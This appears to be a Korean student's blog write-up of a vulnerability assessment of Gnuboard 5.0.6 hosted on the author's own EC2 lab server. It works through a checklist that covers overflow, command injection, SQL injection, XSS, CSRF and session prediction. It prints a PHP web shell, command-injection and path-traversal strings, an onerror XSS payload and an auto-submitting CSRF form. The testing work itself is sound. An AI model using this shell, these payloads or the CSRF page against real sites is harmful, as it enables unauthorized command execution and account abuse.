8. Directory Indexing (디렉토리 인덱싱) 취약점
실습 환경
aws ec2에 그누보드 5.0.6버전을 올려두고 해당 사이트 내에서 주통기 웹 항목을 하나하나 진단할 것이다.
1. 버퍼오버플로우
대량의 문자열을 입력하려 해도 적정량의 문자가 입력되며 더이상 적히지않는다. 제한값이 있는것으로 추정되는데
이 제한값을 넘어 더많은 문자열을 전달하기위해 burp suite를 사용해서도 테스트 해본다.
서버로 전달되는 id입력칸을 중간에 가로채 더많은 문자열을 입력하여 전달
딱히 에러페이지가 나오지는 않고 적절히 필터링되어 처리되는 것 같아보임.(취약점 X)
로그인 후 회원정보 수정 입력페이지에서도 똑같이 오버플로우 시도
이 회원정보 수정페이지에서는 오버플로우 취약점이 발견되지 않았지만 이때 점검을 통해 여럿 다른취약점이 존재하는걸 확인함.
password 부분에 대량의 문자열을 입력했는데 "성공적으로 회원정보가 수정되었습니다" 가 출력되고 정보가 수정되었음.
이때 든 생각이
1. 적절한 입력값을 검증하지 않았구나.
2. 비밀번호와 비밀번호 재입력칸이 일치하지 않는데 성공적으로 회원정보가 수정되었다? => 클라이언트 측에서만 비밀번호 재입력칸을 검증하고 서버측에 그대로 전달이 되는가보다.
특수 문자를 포함한 입력값이 서버의 정규식 로직을 깨트리고, 이를 통해 서버 내부 동작에 대한 정보를 노출했다.
에러 메시지와 함께 서버 파일 경로가 노출이 되며 민감한 내용을 노출시킨다.
이는 서버가 입력값을 적절히 필터링하지 못했다는 걸 나타냄.
이외에 게시글 작성페이지나 1:1문의 혹은 get방식으로 url 파라미터 등에 오버플로우를 시도해도 통하지않는것을 확인했다.
2.포맷 스트링
글쓰기 페이지에서는 포맷스트링이 통하지않는걸 확인 (burp suite로 넣어도 동일하게 나옴)
url 파라미터에 삽입해도 동일
3. LDAP 인젝션
LDAP 미사용중이라 다음항목으로 패스
4. 운영체제 명령 실행
먼저 첫번째 타겟으로 "파일 업로드/다운로드 기능"이 있는곳에 악성 php파일을 업로드하여 실행시키는지 테스트해보았다.
<?php
// 명령어를 받아 실행하는 간단한 웹 셸
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Test Shell: No command provided.";
}
?>
shell.php 파일 내용
먼저 서버에 악성 파일을 저장시키게끔은 해둔 상태이다.
명령 실행 취약점을 실행하게 유도하기 위해선 서버가 이 파일을 읽거나 실행시키게 유도해야한다.
필수 조건
- 업로드된 파일이 서버에서 실행될 수 있는 위치에 저장되어야 합니다.
- 서버가 파일을 실행하도록 유도하거나, 사용자가 직접 URL로 파일을 호출해야 합니다.
해당 악성 파일이 업로드된 링크를 복사하였을때 링크는 밑에처럼 나온다.
http://3.38.169.98/g5/bbs/qadownload.php?qa_id=9&no=1
파라미터는 대충 qa_id=9 < qa게시판의 게시물로 추정됨 (즉 qd게시판의 9번째 게시물을 뜻하는듯)
no=1 < 해당 게시물의 첨부파일 번호. (1번째 첨부파일)
올려둔 악성 파일을 다시보면
system($_GET['cmd']);
이 있는데 이는 운영체제 명령어를 실행시키는 system함수를 get방식으로 파라미터를 받아와 실행시키는것이다.
따라서 url에 cmd파라미터안에 원하는 명령어를 직접 넣어주어 전달하는방식으로 노려보았다.
http://3.38.169.98/g5/bbs/qadownload.php?qa_id=9&no=1&cmd=ls
하지만 해당 url로 입력을 했으나 단순히 파일 다운로드만 그대로 진행된다.
이는 "qadownload.php"의 코드가 명령 실행 기능이 아니라 파일 다운로드 기능만 처리하고 있다고 생각할 수 있다.
혹여나 모를 숨겨져있는 파라미터나 취약한 부분을 burp suite로 보면 나오는게 있을까 싶어 확인해도 딱히 나오는건 보이지않음.
현재 상황 정리
- 우리가 확인하려는 취약점:
- "운영체제 명령 삽입" 취약점을 테스트하기 위해, 업로드한 shell.php 파일을 실행할 수 있는 실제 경로를 찾아야 합니다.
- 문제의 핵심:
- 업로드된 shell.php 파일의 실제 서버 경로를 모르는 상태입니다.
- 다운로드를 처리하는 **qadownload.php**는 업로드된 파일을 다운로드하는 역할만 수행하며, 파일의 실제 경로를 노출하지 않습니다.
- 현재 요청에 포함된 파라미터(예: qa_id=9, no=1)는 실제 파일 경로가 아니라, PHP 코드에서 파일을 식별하기 위해 사용되는 논리적 키입니다.
url에 나와있는 qadownload.php는 php코드로 업로드되어있는 파일을 가져와 다운로드할수있게끔만 해주는 역할을 수행해줄 뿐이고 실제로 우리가 올린 shell.php는 어디 경로에 올라가있는지 모르는상황이다. 이 경로를 찾으면 해당 파일에 명령어를 전달해 테스트를 해봐야 한다.
http://3.38.169.98/g5/data/file/qaview/shell.php?cmd=ls
//대충 이런식으로? (경로는 실제로 아직 찾지않음)
파일 다운로드를 요청하고 이 요청에 대한 응답 패킷을 보았을때 보통
Content-Disposition 헤더나 응답 본문에서 서버 경로 정보가 포함될 가능성이 있어 여기도 확인을 해주었다. (지금은 딱히 나오는건 없어보임)
업로드한 파일이 어디에 저장될까? 를 해결하기 위해 ffuf를 실행했다.
data라는 이름이 있다는것을 확인.
따라서 해당 경로 url로 접근 시도
권한설정으로 인해 막혀있는것을 확인.
(답답한 마음에 직접 서버를 켜서 파일 구조가 어떻게 되어있나 확인했다.)
data폴더 안에 qa라는 폴더가 있고 이 qa폴더안에 업로드된 파일들이 있으며 이 파일들에는 임의문자열들이 추가되어 해시처리가 되어있다. 블랙 입장에서는 어떤식으로든 qa폴더까지 유추했다하더라도 실제 업로드된 파일들을 실행하긴 어려워보임.
따라서 "운영체제 명령실행"을 파일 업로드 기능에선 하기 어려워보임.
생각을 좀더 해보았다.
"게시글을 삭제할때는 운영체제에서 명령이 내려지지 않을까? 운영체제보다는 sql에서 이루어질려나? 보통 게시글이 sql안에 저장되니까.. 근데 첨부파일이 올려져있는 게시글이라면? 일반 게시글은 sql에 저장되지만 첨부파일 자체는 서버 운영체제 경로안에 저장이 되는데 이 게시글을 삭제하면 운영체제에서 명령을 내려 해당 첨부파일을 삭제하게 되지않을까?"
먼저 화이트 입장에서 보았을때 사용자가 첨부파일을 올리면 해당 폴더안에 해시값처리되어 첨부파일이 서버에 저장되고 있는걸 확인.
첨부파일이 올려져있는 게시글을 삭제시켜본다.
그후 다시보니까 서버에 올려져있는 첨부파일도 바로 삭제되는것을 확인.
따라서 첨부파일이 첨부된 게시글 삭제시 바로 서버에서도 해당 파일을 삭제시키는 로직이 있단걸 확인했다.
(그럼 게시글 삭제할때도 운영체제 명령이 사용되는구나! 여기서도 테스트 해봐야겠다. 라는 생각이 듬)
게시글 삭제 패킷을 가로채어 확인해본 결과 첨부파일 삭제와 관련된 정보나 명령 실행 결과가 노출되지 않았음.
따라서 서버 내부에서 로직이 실행되고 있다는걸 알 수 있음.
qa_id=10이라는 요청을 서버가 받아내어 이에 맞는 게시글을 찾고 PHP에서 unlink() 또는 system()을 사용하여 첨부파일 삭제할 것이라고 생각됨.
qa_id 파라미터에 명령어 삽입(;ls, ../../etc/passwd)을 시도해도 서버가 이를 허용하지 않고, 단순히 게시글 삭제만 수행하며 이또한 공격하기 어려워보임.
5. SQL Injection
기본적으로 sql 인젝션이 통하려면 웹 사이트내에서 sql 기능을 사용하는 부분을 생각해 봐야한다.
게시글이나 뭐 로그인 관련 이런것들? (무지성으로 찾다가 답답한마음에 php코드를 직접봤음.)
<?php
include_once('./_common.php');
$g5['title'] = '1:1 문의';
include_once('./_head.php');
// qa_id가 없으면 잘못된 접근으로 처리
if (!$qa_id) {
alert('잘못된 접근입니다.');
}
// 1:1 문의글을 수정하는 부분
if($w == 'u' || $w == 'r') {
// 특정 qa_id에 대한 게시글 정보를 가져옴
$sql = " select * from {$g5['qa_content_table']} where qa_id = '$qa_id' ";
// 관리자가 아닐 경우 자신의 게시글만 수정할 수 있음
if(!$is_admin) {
$sql .= " and mb_id = '{$member['mb_id']}' "; // 자신의 게시글인지 확인
}
// 쿼리 실행
$write = sql_fetch($sql);
// 게시글이 없으면 알림
if($w == 'u') {
if(!$write['qa_id'])
alert('게시글이 존재하지 않습니다.\\n삭제되었거나 자신의 글이 아닌 경우입니다.');
}
// 게시글 수정 권한 체크
if(!$is_admin) {
if($write['qa_type'] == 0 && $write['qa_status'] == 1)
alert('답변이 등록된 문의글은 수정할 수 없습니다.');
if($write['mb_id'] != $member['mb_id'])
alert('게시글을 수정할 권한이 없습니다.\\n\\n올바른 방법으로 이용해 주십시오.', G5_URL);
}
}
?>
php코드들을 찾아보다가 1:1문의 수정을 담당하는 php를 보니 qa_id가 뭔가보안적으로 되어있지않고 그대로 sql구문에 삽입되는것을 확인했음. 이거를 통해 어떻게 취약점으로 연결될수있을까 고민중 (남의 게시글 수정부분은 mb_id때문에 막히는듯;)
메모장
//////////중간메모
1.회원정보 수정에서 패킷가로채 닉네임부분에 / 입력후 요청시 preg_match 에러가 발생하는것을 확인.
2. 동일하게 닉네임부분이아닌 아이디 부분에 입력시
Warning: preg_match(): Compilation failed: missing terminating ] for character class at offset 29 in /opt/lampp/htdocs/g5/lib/register.lib.php on line 46
3. 회원정보 수정 요청보낼때 비밀번호와 비밀번호 재일치 부분이 맞지않아도 성공적으로 회원정보가 바뀌는것을 확인.(물론 요청을 보내기 위해서는 브라우저상에서 비밀번호 재일치까지 맞춰야 요청이 날라감)
4. 회원정보 수정페이지에서 대량의 문자열 입력후 요청시
Warning: preg_match(): Compilation failed: regular expression is too large at offset 905595 in /opt/lampp/htdocs/g5/lib/register.lib.php on line 89
6. SSI injection
기본적으로 ssi 인젝션이 통하는 기본조건은 서버에서 SSI가 활성화가 되어 있어야한다는 점이다.
따라서 서버내에서 shtml파일을 하나 만들어 활성화가 되어있는지 확인해보았다.
echo '<!--#echo var="DATE_LOCAL" -->'
활성화가 되어있는것을 확인.
따라서 그누보드를 올린 웹 내에서 SSI 인젝션에 취약한점이 있나 확인해야함.
+ .shtml 파일이나 SSI 관련 코드가 직접적으로 사용되지 않고 있는 것으로 보입니다.
7. XPATH Injection
- XPath Injection 가능성 확인
- 그누보드에서 XML을 사용하는 기능이 있는지 조사.
- rss.php와 같은 RSS 피드 생성 기능이 XML을 사용하는 것으로 확인.
- 실제 데이터 처리가 XPath를 통해 이루어지는지는 소스코드 및 요청 데이터를 분석하여 확인했음.
- 결과
- XPath Injection 공격 가능성 없음.
- RSS 피드 생성 시 XML만 출력되며, XPath로 데이터 검색을 수행하는 기능은 확인되지 않음.
8. Directory Indexing (디렉토리 인덱싱) 취약점
테스트 과정:
- 디렉토리 인덱싱 활성화 여부 확인
- 디렉토리 인덱싱이 활성화된 디렉토리를 찾기 위해 ffuf 도구를 활용하여 디렉토리 브루트포싱 수행.
bbs, css등 경로로 접속시 디렉토리 리스팅 취약점 존재.
9. 정보 누출
점검 내용:
- 웹 애플리케이션에서 민감한 정보(DB 정보, 서버 정보, 경로 등)가 노출되는지 점검.
테스트 과정:
- 에러 페이지를 통한 정보 노출 확인
- SQL Injection 테스트 중 에러 발생 시, "MariaDB Server Version" 등의 정보를 반환.
- 이는 일반적인 "정보 누출" 항목에 해당되며, MariaDB 버전 정보가 공격자에게 노출될 수 있음.
- HTML 소스코드 확인
- 브라우저 개발자 도구를 통해 소스코드 분석.
- 민감한 정보(DB 비밀번호, 경로 등)는 노출되지 않음.
- 결과
- 일반적인 정보 누출은 차단된 상태지만, SQL Injection 시 에러 페이지에서 일부 정보가 노출됨.
10. 악성 콘텐츠
점검 내용:
- 게시판 등에서 악성 콘텐츠가 삽입 및 실행되는지 여부 점검.
테스트 과정:
- 파일 업로드 확인
- PHP, HTML 등의 악성 파일 업로드를 시도.
- 업로드된 파일은 서버에서 랜덤값으로 이름이 변경되어 실행이 불가능했음.
- <script>alert('XSS')</script> 형태의 파일명으로 시도했으나, 파일명이 script%3E로 변환되며 실행되지 않음.
- HTML 게시글 테스트
- 게시글 작성 시 HTML 옵션을 활성화하고 iframe 및 script 태그를 삽입.
- iframe 태그는 출력되지만, 외부 사이트 로드 실패 및 script 태그 실행 차단 확인.
- 결과
- 악성 콘텐츠 삽입 및 실행은 차단된 상태로 확인됨.
- HTML 및 파일 업로드 모두 필터링 및 보안 조치가 적용된 상태.
11. XSS
1. 관리자 페이지의 board_form.php등 xss 취약점
https://sir.kr/g5_pds/4678 이 링크를 참고하여 패치된 내용확인.
board_form.php로 접속하여 확인.
게시판 관리를 하는 관리자페이지의 "상단 내용" 을 적는 부분에 html로 악성 스크립트를 작성시 xss가 통한다고 함.
이미 script 태그는 필터링이 되고 있음
따라서 여러가지 xss 공격 페이로드중 이벤트식으로 형식 작성
<img src="#" onerror="alert('XSS')">
후에 해당 게시판으로 입장시 xss가 되는것을 확인.
2. "현재 접속자"를 보여주는 current_connect.php 에서 접속자의 현재 접속중인 페이지를 보여주는 lo_url 변수부분 xss 취약점
현재 접속자와 그 접속자가 어디페이지에 있는지 보여주는 current_connect.php에서 lo_url이 필터링없이 db에 그대로 삽입되는 취약점
1111이라는 계정으로 해당 url을 입력하고 접속시
데이터 베이스에 현재 위치로 받은 url을 그대로 저장함.
++++++++++++이걸로 xss를 테스트 해봐야함
12. 약한 문자열 강도
관리자 모드에서 사이트 설정페이지를 들어가 확인해도 별다른 문자열에 대한 제한이 없어보인다.
이외에 회원가입할때에도 특수문자나 일정 문자열 길이를 딱히 제한하지 않고있으므로 취약하다고 판단할 수 있다.
다만 적어도 비밀번호에서 4글자 이상은 받게끔 제한되어있는데 4글자도 취약한편에 속하므로 강화가 필요하다.
또 로그인 연속 실패시 이에 따른 제한도 없어 "무차별 대입 공격"에 취약한 상황이다.
13. 불충분한 인증
먼저 로그인하지 않거나 일반 사용자의 계정으로 로그인후 관리자 페이지로 url직접 입력하여 관리자 페이지 접근 시도시
적절한 인증을 거쳐야만 접근 가능
사용자의 "정보수정" 페이지 접근 시도시
한번더 비밀번호를 확인하는 페이지를 거쳐야만 접근 가능
혹여나 자바스크립트 같은걸로 클라이언트 측에서만 접근에 대한 보안이 이루어져있을 경우도 확인하기위해
브라우저 내에서 Javascript를 비활성화 하고 관리자 페이지로 다시 접근시도
허나 적절한 페이지를 내보임으로써 접근 시도 실패. => 서버측에서 접근 인증이 이루어져있음. 양호
14. 취약한 패스워드 복구
==이메일이 오지않음. 다시해봐야할듯==
15. 크로사이트 리퀘스트 변조(CSRF)
초기 접근: 회원정보 수정 페이지
시도 1: 회원정보 수정 페이지로 CSRF 공격
- 목표: CSRF를 통해 사용자의 정보를 수정하는 공격을 시도했습니다.
- 코드 분석: member_confirm.php에서 url에 타 도메인 지정을 못하게하는 방어 이외는 다른 방어 코드가 보이지않음.
- member_confirm.skin.php을 include하고있기에 해당 코드도 확인해봄.
member_confirm.php 코드내용. (csrf에 대한 방어코드가 보이지않음)
include하는 member_confirm.skin.php도 들어가서 확인해봄.
딱히 방어코드는 보이지않음. 이 member_confirm.skin.php 코드 내용은 "회원정보 수정" 페이지에 접근시 한번더 비밀번호를 확인하는 페이지를 띄우게 하는 역할인듯.
그냥 정상적으로 "회원정보 수정" 버튼을 눌러 접근시 나오는화면인데
이게 include된 member_confirm.skin.php때문에 나오는 페이지.
우선 다른 웹서버에 csrf공격을 위한 html코드를 미리 만들어둠.
그리고 그누보드에 다른웹에서 올린 악성 페이지 주소를 업로드
정상적인 사용자가 해당 주소에 접근시 나오는 페이지. 아무것도 모르고 버튼을 눌렀다고 가정.
그러자 나오는 비밀번호 재확인 페이지.
즉 이는 csrf에 대한 방어가 없어 정상적인 사용자의 의도가 아닌데도 "회원정보 수정" 페이지로 접근을 시도하게 되고있단 뜻. 다만 해당 페이지에 접근하려면 나오게 되는 member_confirm.skin.php 때문에 악의적으로 행동을 이어갈수는 없어보임.
여기서 드는 생각
그럼 재확인이 필요없는 게시글 작성같은거는 csrf가 통하지않을까?
따라서 회원정보 수정이 아닌 사용자의 의도대로가 아닌 게시글을 작성하게 만드는 공격으로 방향을 틀어봄.
먼저 게시글을 정상적으로 올릴때의 패킷을 가로채 확인해봄.
Content-Type이 multipart/form-data로 전송되고있다.
multipart/form-data는 데이터를 다중 부분으로 나눠 전송하며, 브라우저에서 자동으로 생성되는 Boundary 값(------WebKitFormBoundaryWqffnxD8YeAKMqrz)이 계속 바뀌는 특성이 있다
따라서, CSRF 공격 시 Boundary 값을 직접 설정하지 않고, 단순한 폼 전송 방식으로 조작할 수 있는 코드로 변경함.
<html>
<body>
<form id="csrfForm" action="http://3.38.169.98/g5/bbs/write_update.php" method="POST" enctype="application/x-www-form-urlencoded">
<!-- 게시판 이름 -->
<input type="hidden" name="bo_table" value="syndi">
<!-- 글 ID -->
<input type="hidden" name="wr_id" value="0">
<!-- 글 제목 -->
<input type="hidden" name="wr_subject" value="CSRF 테스트 제목">
<!-- 글 내용 -->
<input type="hidden" name="wr_content" value="이 게시글은 CSRF 공격으로 작성되었습니다.">
<!-- 기타 값 -->
<input type="hidden" name="w" value="">
<input type="hidden" name="sca" value="">
<input type="hidden" name="sfl" value="">
<input type="hidden" name="stx" value="">
<input type="hidden" name="spt" value="">
<input type="hidden" name="sst" value="">
<input type="hidden" name="sod" value="">
<input type="hidden" name="page" value="">
<!-- 파일 업로드 -->
<input type="hidden" name="bf_file[]" value="">
<input type="hidden" name="bf_file[]" value="">
</form>
<script>
// 자동으로 폼 제출
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
해당 코드를 다른 웹사이트에 미리 준비해서 올려둠.
1111라는 계정으로 해당 주소를 게시판에 업로드
피해자 시점으로 다른계정으로 해당 게시글에 들어가 해당주소를 접속했다.
그러자 의도하지않아도 csrf 공격으로 인해 aaaa라는 계정으로 게시글이 올라가있는 모습.
csrf가 통한다!!
16. 세션 예측
먼저 로그인시 세션할당이 되는게 일반적인 상황이니까 login_check.php 코드를 확인해보았다.
1.세션 생성 부분
set_session('ss_mb_id', $mb['mb_id']);
set_session('ss_mb_key', md5($mb['mb_datetime'] . $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']));
- ss_mb_id: 사용자 아이디가 세션에 저장됨.
- 문제없음: 사용자가 로그인하면 해당 아이디를 세션에 저장하는 건 일반적인 방식입니다.
- ss_mb_key: 사용자 가입 시간(mb_datetime), IP 주소(REMOTE_ADDR), 브라우저 정보(HTTP_USER_AGENT)로 고유 키를 생성.
취약점 가능성:
- mb_datetime가 고정된 값(사용자 가입 시각)이므로, 특정 사용자의 가입 시간을 알고 있다면 예측 가능.
- 공격자가 사용자 IP 주소와 브라우저 정보를 알아낼 경우, 고유 키를 추측할 수 있음.
2. 자동 로그인 키
$key = md5($_SERVER['SERVER_ADDR'] . $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $mb['mb_password']);
set_cookie('ck_mb_id', $mb['mb_id'], 86400 * 31);
set_cookie('ck_auto', $key, 86400 * 31);
분석:
- ck_auto: 서버 IP, 사용자 IP, 브라우저 정보, 비밀번호를 조합하여 생성.
- 취약점 가능성:
- 공격자가 mb_password(비밀번호 해시)를 알고 있다면, 키를 쉽게 계산할 수 있음.
- 만약 비밀번호 해시가 유출되지 않았다면, 안전하다고 볼 수 있음
- 취약점 가능성:
3. 리다이렉션(URL) 처리
if ($url) {
$link = urldecode($url);
if (preg_match("/\?/", $link)) {
$split= "&";
} else {
$split= "?";
}
foreach($_POST as $key=>$value) {
if ($key != 'mb_id' && $key != 'mb_password' && $key != 'x' && $key != 'y' && $key != 'url') {
$link .= "$split$key=$value";
$split = "&";
}
}
} else {
$link = G5_URL;
}
분석:
- 로그인 후 이동할 URL($url)을 처리.
- $url이 외부 URL을 포함하지 않는지 검증해야 함.
- 현재 취약점 없음:
- 외부 URL 접근을 막는 검증 코드가 존재. (alert('url에 타 도메인을 지정할 수 없습니다.'))
17. 불충분한 인가
'과제' 카테고리의 다른 글
ffuf 설치 및 사용 (0) | 2024.11.15 |
---|---|
정보보안기사 준비 (필기 2022 버전) (0) | 2024.11.09 |
프로젝트 주제 제시 - 동적 권한 관리 시스템 프로젝트 (1) | 2024.09.13 |
HTTP / HTTPS (SSL,TLS) (0) | 2023.10.14 |
VMC 패턴 (0) | 2023.09.30 |